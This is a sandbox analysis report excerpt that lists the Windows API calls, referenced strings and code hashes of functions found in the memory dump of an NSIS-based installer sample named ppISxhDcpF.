Part of subcall function 00403258: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC

Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403091
Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403138
Part of subcall function 00403027: MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
Part of subcall function 00403027: wsprintfW.USER32 ref: 00403174

DeleteFileW.KERNEL32(?), ref: 00402928

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: FileGlobal$AllocCountFreeTick$AttributesCloseCreateDeleteHandlePointerwsprintf
String ID:
API String ID: 2082585436-0
Opcode ID: f09a1f9abd4752cb5b2d55da90d863fde1dab2faf049735581e37d10801ea25f
Instruction ID: f11faf613eabf70f6da5efab5544ef3b1f343b4f82166007b8c29dabf9a1b1c4
Opcode Fuzzy Hash: f09a1f9abd4752cb5b2d55da90d863fde1dab2faf049735581e37d10801ea25f
Instruction Fuzzy Hash: D0217C72800118BFCF116FA5CE4889E7EB9EF09324F24423AF554762E0C6795D81DB68

Function 004062E9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,75573420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,0043F000,75573420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,75573420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

Strings

*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00401767 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,755723A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00401D56 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNEL32(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 0040237B Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(0040B5F0,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,755723A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,?,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,?,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00405683 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,0040A300,00441800), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405B11 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70, 4Wu,?,00441800,00405866,?,75573420,00441800,0043F000), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70, 4Wu,?,00441800,00405866,?,75573420,00441800,0043F000), ref: 00405B6A
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4Wu,?,00441800,00405866,?,75573420,00441800), ref: 00405B7A

Strings

4Wu, xrefs: 00405B13

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4Wu
API String ID: 3248276644-2004972366
Opcode ID: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction ID: 9ab821bc962df094d04e13ee53e7cef05d0bc350337be3d6547239d71e0b1b07
Opcode Fuzzy Hash: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction Fuzzy Hash: FFF0A429504E5115D72272361D49EBF3669CF86324B1A063FF852B22D1DB3CB952CCBD

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00405C59 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNEL32(0040A300,?,00000000,?,?,?,00000000,0040329E,00441000,00441800,00441800,00441800,00441800,00441800,00441800,004034CC), ref: 00405C92

Strings

nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

